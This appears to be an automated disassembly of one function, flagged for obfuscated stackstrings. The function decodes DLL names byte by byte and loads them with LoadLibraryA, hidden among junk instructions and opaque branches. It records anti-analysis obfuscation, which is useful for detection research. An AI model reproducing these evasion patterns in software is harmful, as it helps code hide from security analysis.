Function at 0x44929e
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sti
sub al, 1
mov byte [ebp - 5], al
mov cl, byte [ebp - 0x10]
sub cl, 1
mov byte [ebp - 0x10], cl
mov dl, byte [ebp - 0xd]
sub dl, 1
mov byte [ebp - 0xd], dl
mov al, byte [ebp - 6]
sub al, 1
mov byte [ebp - 6], al
push edi
add edi, 0x3d6
ror edi, 0xf
pop edi
xchg esp, esp
test esp, 0x5202
add esp, 0
ja 0x4492e0
jns 0x4492d8
jne 0x4492da
je 0x4492dc
jbe 0x4492e0
mov eax, 0xf04d8dfd
lea ecx, [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea eax, [eax]
cmp esp, 0x4cdf
jle 0x449313
pushf
rol eax, 0x12
ror eax, 0x12
shl esp, 0
cmp esi, 0x7523
test dword [esp], ebx
popf
jne 0x44930c
mov esp, esp
mov esp, esp
jg 0x449313
add eax, 0x53f045c6
mov byte [ebp - 0x10], 0x53
mov byte [ebp - 0xc], 0x53
mov byte [ebp - 6], 0x6d
mov byte [ebp - 0xf], 0x46
mov byte [ebp - 0xb], 0x43
mov byte [ebp - 8], 0x65
mov byte [ebp - 0xa], 0x37
mov byte [ebp - 0xe], 0x57
mov byte [ebp - 9], 0x2f
mov byte [ebp - 0xd], 0x46
mov byte [ebp - 7], 0x6d
mov byte [ebp - 5], 0
xor esp, 0
xchg esp, esp
add ecx, 0x2648
sub ecx, 0x2648
xchg edx, edx
jle 0x449364
pushf
xor esp, 0
cld
popf
nop
jg 0x449364
xor eax, 0x80f7558a
ljmp 0x458a
mov dl, byte [ebp - 9]
sub dl, 1
mov byte [ebp - 9], dl
mov al, byte [ebp - 0xf]
sub al, 1
mov byte [ebp - 0xf], al
mov cl, byte [ebp - 7]
sub cl, 1
mov byte [ebp - 7], cl
mov dl, byte [ebp - 0xe]
sub dl, 1
mov byte [ebp - 0xe], dl
mov al, byte [ebp - 0xc]
sub al, 1
mov byte [ebp - 0xc], al
mov cl, byte [ebp - 0xb]
sub cl, 1
mov byte [ebp - 0xb], cl
mov dl, byte [ebp - 8]
sub dl, 1
mov byte [ebp - 8], dl
mov al, byte [ebp - 0xa]
sub al, 1
mov byte [ebp - 0xa], al
mov cl, byte [ebp - 0x10]
sub cl, 1
mov byte [ebp - 0x10], cl
mov dl, byte [ebp - 0xd]
sub dl, 1
mov byte [ebp - 0xd], dl
mov al, byte [ebp - 6]
sub al, 1
mov byte [ebp - 6], al
xor edx, dword [esp]
xor edx, dword [esp]
cmp eax, esi
cmp esi, ebx
jl 0x4493cf
jo 0x4493dc
jne 0x4493d3
xchg esp, esp
xchg ebx, eax
xchg ebx, eax
jo 0x4493d9
jno 0x4493dc
mov ecx, 0x51f04d8d
lea ecx, [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
jnp 0x4493e8
and edx, 0xffffffff
clc
shr eax, 0
jne 0x449415
pushf
inc eax
dec eax
xchg edx, ecx
xchg edx, ecx
push edx
add edx, 0x7f33
ror edx, 0x1b
pop edx
test esp, 0x7daf
popf
jo 0x44940e
jo 0x449410
jb 0x449412
je 0x449415
mov ebp, 0x43f545c6
mov byte [ebp - 0xb], 0x43
mov byte [ebp - 0x10], 0x53
mov byte [ebp - 0xe], 0x57
mov byte [ebp - 9], 0x2f
mov byte [ebp - 0xd], 0x46
mov byte [ebp - 0xc], 0x53
mov byte [ebp - 0xa], 0x32
mov byte [ebp - 5], 0
mov byte [ebp - 0xf], 0x46
mov byte [ebp - 7], 0x6d
mov byte [ebp - 6], 0x6d
mov byte [ebp - 8], 0x65
jl 0x449447
ror esp, 0
jo 0x449458
pushf
shl esi, 0
popf
mov edi, edi
jno 0x449458
or dword [edx - 0x157f08ab], 0xf7558801
mov dl, byte [ebp - 9]
sub dl, 1
mov byte [ebp - 9], dl
mov al, byte [ebp - 0xf]
sub al, 1
mov byte [ebp - 0xf], al
mov cl, byte [ebp - 7]
sub cl, 1
mov byte [ebp - 7], cl
mov dl, byte [ebp - 0xe]
sub dl, 1
mov byte [ebp - 0xe], dl
mov al, byte [ebp - 0xc]
sub al, 1
mov byte [ebp - 0xc], al
mov cl, byte [ebp - 0xb]
sub cl, 1
mov byte [ebp - 0xb], cl
mov dl, byte [ebp - 8]
sub dl, 1
mov byte [ebp - 8], dl
mov al, byte [ebp - 0xa]
sub al, 1
mov byte [ebp - 0xa], al
mov cl, byte [ebp - 0x10]
sub cl, 1
mov byte [ebp - 0x10], cl
mov dl, byte [ebp - 0xd]
sub dl, 1
mov byte [ebp - 0xd], dl
mov al, byte [ebp - 6]
sub al, 1
mov byte [ebp - 6], al
xchg esi, esi
test esp, 0x7d69
ror ecx, 0x14
ror ecx, 0xc
jg 0x4494de
pushf
xchg edx, edx
xor edx, dword [esp + 0x10]
xor edx, dword [esp + 0x10]
lea ebx, [ebx]
std
cld
popf
jp 0x4494db
jle 0x4494de
add eax, 0x51f04d8d
lea ecx, [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
rol edi, 0
je 0x4494ff
pushf
jb 0x4494f1
and esp, 0xffffffff
popf
mov esi, esi
jo 0x4494fa
je 0x4494fc
jne 0x4494ff
mov edx, 0x33f645c6
mov byte [ebp - 0xa], 0x33
mov byte [ebp - 7], 0x6d
mov byte [ebp - 0x10], 0x53
mov byte [ebp - 0xe], 0x57
mov byte [ebp - 0xf], 0x46
mov byte [ebp - 0xd], 0x46
mov byte [ebp - 0xb], 0x43
mov byte [ebp - 6], 0x6d
mov byte [ebp - 9], 0x2f
mov byte [ebp - 8], 0x65
mov byte [ebp - 5], 0
mov byte [ebp - 0xc], 0x53
jl 0x449531
cmp esp, 0x3262
rol esp, 0
test edx, ecx
jae 0x44954c
pushf
shr ebx, 0
popf
xchg edi, ecx
xchg edi, ecx
jb 0x44954c
mov esp, 0x80f7558a
ljmp 0x458a
mov dl, byte [ebp - 9]
sub dl, 1
mov byte [ebp - 9], dl
mov al, byte [ebp - 0xf]
sub al, 1
mov byte [ebp - 0xf], al
mov cl, byte [ebp - 7]
sub cl, 1
mov byte [ebp - 7], cl
mov dl, byte [ebp - 0xe]
sub dl, 1
mov byte [ebp - 0xe], dl
mov al, byte [ebp - 0xc]
sub al, 1
mov byte [ebp - 0xc], al
mov cl, byte [ebp - 0xb]
sub cl, 1
mov byte [ebp - 0xb], cl
mov dl, byte [ebp - 8]
sub dl, 1
mov byte [ebp - 8], dl
mov al, byte [ebp - 0xa]
sub al, 1
mov byte [ebp - 0xa], al
mov cl, byte [ebp - 0x10]
sub cl, 1
mov byte [ebp - 0x10], cl
mov dl, byte [ebp - 0xd]
sub dl, 1
mov byte [ebp - 0xd], dl
mov al, byte [ebp - 6]
sub al, 1
mov byte [ebp - 6], al
not edi
not edi
and esp, 0xffffffff
je 0x4495c9
jle 0x4495b6
lea eax, [eax + 0x738e]
lea eax, [eax - 0x738e]
xchg esp, esp
jne 0x4495c9
add eax, 0x4d8ddb99
invalid
lea ecx, [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret